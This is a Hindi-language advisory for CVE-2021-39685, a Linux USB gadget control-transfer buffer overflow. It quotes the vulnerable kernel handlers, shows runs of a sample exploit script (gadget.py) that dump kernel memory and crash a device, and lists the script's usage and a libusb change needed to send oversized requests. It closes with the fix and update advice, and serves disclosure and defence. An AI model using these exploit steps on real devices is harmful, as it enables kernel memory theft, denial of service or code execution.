
CVE-2021-39685 विवरण और Linux USB Gadget ओवरफ़्लो भेद्यता के लिए नमूना एक्सप्लॉइट
Go Go Gadget Exploit!
_..--"\ `|`""--.._
.-' \ | `'-.
/ \_|___...----'`\
|__,,..--""``(_)--..__ |
'\ _.--'`.I._ ''--..'
`''"`,#JGS/_|_\###,---'`
,#' _.:`___`:-._ '#,
#' ,~'-;(oIo);-'~, '#
# `~-( | )=~` #
# | |_ | #
# ; ._. ; #
# _..-;|\ - /|;-._ #
#-' /_ \\_// _\ '-#
/`# ; /__\-'__\; #`\
; #\.--| |O O |'-./# ;
|__#/ \ _;O__O___/ \#__|
| #\ [I_[_]__I] /# |
\_(# / |O O \ #)_/
/ | \
/ | \
/ /\ \
/ | `\ ;
; \ '. |
\-._.__\ \_..-'/
'.\ \-.._.-/ /'`
\_.\ /._/
\_.; ;._/
.-'-./ \.-'-.
(___.' '.___)
एक हमलावर निम्नलिखित यूएसबी गैजेट्स — rndis, hid, uac1, uac1_legacy और uac2 — में कंट्रोल रिक्वेस्ट हैंडलर के कार्यान्वयन का शोषण करके वैध बफर सीमाओं को पार करते हुए कर्नेल मेमोरी तक पहुँच सकता है। अप्रत्याशित रूप से बड़े wLength वाले दुर्भावनापूर्ण कंट्रोल ट्रांसफर अनुरोधों के प्रसंस्करण में यह सुनिश्चित नहीं किया जाता कि यह मान बफर आकार से अधिक न हो। इस तथ्य के कारण कोई व्यक्ति (विशेष स्थिति के आधार पर) कर्नेल मेमोरी के 65k तक बाइट्स पढ़ और/या लिख सकता है।
rndis, hid, uac1, uac1_legacy और uac2 जैसे गैजेट्स के यूएसबी कंट्रोल ट्रांसफर हैंडलर के कुछ निष्पादन पथ अनुरोध लंबाई (wLength) का उचित प्रबंधन शामिल नहीं करते हैं। डेटा ट्रांसफर चरण में बफर ओवरफ्लो कमजोरियों को रोकने के लिए यह मान बफर आकार तक सीमित होना चाहिए।
एंडपॉइंट 0 द्वारा उपयोग किया जाने वाला बफर composite.c में USB_COMP_EP0_BUFSIZ (4096) बाइट्स के आकार के साथ आवंटित किया जाता है, इसलिए wLength को USB_COMP_EP0_BUFSIZ से अधिक मान पर सेट करने से बफर ओवरफ्लो होगा।
उदाहरण के लिए f_uac1.c के मामले में, f_audio_setup फ़ंक्शन का निष्पादन किसी को बफर सीमाओं के पार पढ़ने और लिखने दोनों की अनुमति देता है। न तो f_audio_setup और न ही कोई भी बुलाया गया फ़ंक्शन — audio_set_endpoint_req, audio_get_endpoint_req, out_rq_cur, ac_rq_in — रिटर्न वैल्यू को बफर आकार से छोटा होने तक सीमित करता है। परिणामस्वरूप डेटा ट्रांसफर चरण req->length = value = ctrl->wLength का उपयोग करता है जो हमलावर द्वारा नियंत्रित होता है। यह नियंत्रण ट्रांसफर दिशा के आधार पर किसी को कर्नेल मेमोरी के 65k बाइट्स तक पढ़ने या लिखने की अनुमति देता है।
static int
f_audio_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything; interface
* activation uses set_alt().
*/
switch (ctrl->bRequestType) {
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_set_endpoint_req(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_get_endpoint_req(f, ctrl);
break;
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
if (ctrl->bRequest == UAC_SET_CUR)
value = out_rq_cur(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
value = ac_rq_in(f, ctrl);
break;
default:
ERROR(cdev, "invalid control req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
}
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "audio req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = 0;
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "audio response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
नमूना रीडआउट शोषण के निष्पादन से मेमोरी के 65k तक डंप किया जा सकता है।
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | wc -c
65535
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | strings
nsole=tty1 root=PARTUUID=e02024cb-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2
tem.slice/system-getty.slice/[email protected]
!rE*
?& .4!
0usb_composite_setup_continue
composite_setup
usb_gadget_get_string
usb_otg_descriptor_init
usb_otg_descriptor_alloc
usb_free_all_descriptors
usb_assign_descriptors
usb_copy_descriptors
usb_gadget_config_buf
दूसरी ओर, ओवरराइट शोषण का निष्पादन किसी को अपेक्षित बफर सीमाओं से परे मनमाना डेटा लिखने की अनुमति देता है।
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
Message from syslogd@zero at Dec 6 19:56:01 ...
kernel:[ 103.850206] Internal error: Oops: 5 [#1] ARM
इसी प्रकार rndis गैजेट के मामले में rndis_setup फ़ंक्शन का दिशा out, प्रकार class, रिसीवर interface और bRequest USB_CDC_SEND_ENCAPSULATED_COMMAND पर सेट किए गए कंट्रोल ट्रांसफर अनुरोध का उपयोग करके बफर सीमाओं से परे लिखने के लिए शोषण किया जा सकता है।
static int
rndis_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct f_rndis *rndis = func_to_rndis(f);
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything except
* CDC class messages; interface activation uses set_alt().
*/
switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
/* RNDIS uses the CDC command encapsulation mechanism to implement
* an RPC scheme, with much getting/setting of attributes by OID.
*/
case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
| USB_CDC_SEND_ENCAPSULATED_COMMAND:
if (w_value || w_index != rndis->ctrl_id)
goto invalid;
/* read the request; process it later */
value = w_length;
req->complete = rndis_command_complete;
req->context = rndis;
/* later, rndis_response_available() sends a notification */
break;
...
...
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "rndis req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = (value < w_length);
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "rndis response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
संवेदनशील निष्पादन पथ:
प्रभावित यूएसबी डिवाइस गैजेट कक्षाओं (rndis, hid, uac1, uac1_legacy, uac2) को लागू करने वाले डिवाइस बफर ओवरफ्लो कमजोरियों से प्रभावित हो सकते हैं जिसके परिणामस्वरूप सूचना प्रकटीकरण, सेवा से वंचित करना या कर्नेल संदर्भ में मनमाना कोड का निष्पादन हो सकता है।
प्रभावित कंट्रोल रिक्वेस्ट हैंडलर में ट्रांसफर चरण के आकार को min(len, buffer_size) तक सीमित करें ताकि यह सुनिश्चित हो सके कि बफर ओवरफ्लो न हो।
मानक 4096 बाइट्स से अधिक wLength के साथ कंट्रोल ट्रांसफर अनुरोध जारी करने के लिए होस्ट को MAX_CTRL_BUFFER_LENGTH को 0xffff तक बढ़ाए गए libusb के कस्टम बिल्ड का उपयोग करना आवश्यक है। यह मान निर्माण से पहले libusb/os/linux_usbfs.h में बदला जा सकता है।
gadget.py स्क्रिप्ट के लिए pyusb आवश्यक है। आप इस पैकेज को नीचे दिए अनुसार pip के माध्यम से स्थापित कर सकते हैं।
python3 -m pip install pyusb
सहायता -h या --help पैरामीटर के साथ प्राप्त की जा सकती है।
usage: gadget.py [-h] -v VID -p PID [-l LENGTH] [-d {read,write}]
[-f {rndis,uac1,uac1_legacy,uac2,hid}]
Sample exploit for RNDIS gadget class
optional arguments:
-h, --help show this help message and exit
-v VID, --vid VID vendor id
-p PID, --pid PID product id
-l LENGTH, --length LENGTH
lenght of data to write
-d {read,write}, --direction {read,write}
direction of operation from host perspective
-f {rndis,uac1,uac1_legacy,uac2,hid}, --function {rndis,uac1,uac1_legacy,uac2,hid}
उदाहरण आह्वान:
./gadget.py -v 0x1b67 -p 0x400c -f uac1
./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
./gadget.py -v 0x18d1 -p 0x4e23 -f rndis
कृपया अपने कर्नेल को नवीनतम स्थिर संस्करण में अपडेट करें।